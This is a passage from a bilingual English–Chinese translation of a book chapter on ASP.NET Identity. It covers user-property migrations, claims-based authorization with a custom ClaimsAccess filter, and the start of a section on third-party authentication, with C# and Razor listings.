AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用,因为它只会在Country属性未设置时,才会设置Country属性的值——后继的迁移不会受到影响,因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方,则附加属性就无法使用了,因此,清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改,以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性,清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化,这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化,这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console(包管理器控制台)”中输入以下命令: Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件,它含有添加Country数据表列的指令。为了运用迁移,可执行以下命令: Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移,Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序,认证并导航到/Home/UserProps URL,便可以查看新的用户属性,如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示:虽然我们关注了升级数据库的过程,但你也可以回退到以前的版本,只需指定一个早期的迁移即可。使用-Force参数进行修改,会引起数据丢失,例如删除数据表列。 15.3 Working with Claims 15.3 使用声明(Claims) In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中,例如ASP.NET Membership,应用程序被假设成是用户所有信息的权威来源,本质上将应用程序视为是一个封闭的世界,并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法,使人很难认识到这到底意味着什么,第14章你已看到了这种封闭世界技术的例子,根据存储在数据库中的凭据来认证用户,并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性,也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法,这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法,当MVC框架的应用程序不是有关用户的唯一信息源时,这种办法会工作得很好,而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims(声明)”,因此在本小节中,我将描述ASP.NET Identity如何支持“Claims-Based Authorization(基于声明的授权)”。表15-4描述了声明(Claims)的情形。 提示:“Claim”在英文字典中不完全是“声明”的意思,根据本文的描述,感觉把它说成“声明”也不一定合适,所以在之后的译文中基本都写成中英文并用的形式,即“声明(Claims)”。根据表15-4中的声明(Claims)的定义:声明(Claims)是关于用户的一些信息片段。一个用户的信息片段当然有很多,每一个信息片段就是一项声明(Claim),用户的所有信息片段合起来就是该用户的声明(Claims)。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明(Claims)的情形 Question 问题 Answer 答案 What is it? 什么是声明(Claims)? Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明(Claims)是关于用户的一些信息片段,可以用它们做出授权决定。声明(Claims)可以从外部系统获取,也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它? Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明(Claims)可以用来对动作方法进行灵活的授权访问。与传统的角色不同,声明(Claims)让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 